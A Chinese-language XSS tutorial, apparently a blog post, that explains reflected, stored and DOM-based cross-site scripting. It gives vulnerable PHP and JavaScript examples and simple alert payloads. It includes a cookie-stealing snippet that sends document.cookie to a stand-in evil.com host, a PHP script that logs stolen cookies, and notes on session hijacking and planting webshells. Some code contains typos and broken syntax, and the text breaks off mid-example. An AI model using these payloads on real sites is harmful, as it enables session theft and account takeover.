xss基础知识点

xss

1.概念

​ 跨站脚本攻击,英文全称Cross Site Script.

​ xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.

常见场景

标签内的xss

${Xss}

属性里面的xss

事件中的xss

css里面的xss

<style type="text/css">
    body{background-image:url(${xss});}
</style>
${xss}:javascript:alert(/xss/)
``` Script标签 ``` $username=1" alert(/xss/);// ```

输入的单引号/双引号被转义 标签内进行突破

οninput=alert(1) //

οnchange=alert(1)//

分类

xss根据效果不同,分成以下几类:

反射型xss

用户的输入,最终会由浏览器反馈给用户

如http://www.test.com?xs=

后端页面:

<?php
	$input = $_GET['xs'];
	echo $input;
?>

数据由服务端处理,传回来,最终又反馈到浏览器

反射型xss利用通常需要黑客诱导用户点击恶意链接等.

储存型xss

储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害.

比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言.

所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码

Dom型xss

Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面

比如:

<script>
    function test()(
		var str = document.getElementById("text").value;
		document.getElementById("x").innerHTML = str;
	)
</script>

<html>
    <input type="text" id="text" value=""/>
    <div id="x">
        a
    </div>
</html>

xss攻击

利用方式
通过xss加载恶意代码

​ http://www.test.com?xss=

xss窃取cookie

var img = document.createElement("img");
imr.src = "http://www.evil.com?"+escape(document.cookie);
<!--escape对字符进行编码-->
document.body.appendChild(img);

这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie
也可以在服务器接收

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?

可以利用cookie进行访问网站

会话劫持SESSION

xss让管理员添加用户等(构造POST请求,AJAX等)

获取webshell:利用管理员权限写一句话木马等

xss构造GET请求

比如搜狐网站删除某文章的链接是:
http://blog.sohu.com/manage/entry.do?m=delete&d=156713012

var img = document.createElement("img");
imr.src 
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值